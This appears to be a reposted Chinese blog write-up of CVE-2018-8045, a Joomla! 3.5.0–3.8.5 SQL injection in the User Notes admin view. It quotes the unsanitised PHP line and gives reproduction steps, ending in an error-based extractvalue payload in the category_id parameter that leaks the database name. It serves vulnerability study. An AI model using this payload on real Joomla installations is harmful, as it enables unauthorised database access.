CVE-2018-8045

Joomla!Core SQL注入漏洞

CVE-2018-8045

受影响版本:joomla!3.5.0-3.8.5

漏洞描述:

  joomla!3.5.0-3.8.5版本对sql语句内的变量缺少类型转换,导致User Notes列表视图内SQL注入漏洞。

从github上下载代码并安装。

0x01 漏洞产生原因 

产生漏洞的文件为:"/administrator/components/com_users/models/notes.php";

代码在126-121行

 

        $categoryId = $this->getState('filter.category_id');

        if ($categoryId && is_scalar($categoryId))
        {
            $query->where('a.catid = ' . $categoryId);
        }

 

很明显$categoryId变量没有过滤或者类型转换直接带入SQL语句执行。导致SQL注入漏洞产生。

0x02 漏洞利用

访问url:http://localhost/joomla/administrator/index.php?option=com_users&view=notes

选择Search Tools选项并选择Uncategorised即可触发漏洞条件,这时候用burp抓包。

发现category_id参数,我们在repeater中发包,将该参数值改为7 and extractvalue(1,concat(0x7e,(select database()),0x7e)) 

 

成功复现漏洞。

转载于:https://www.cnblogs.com/s1ye/p/9111968.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值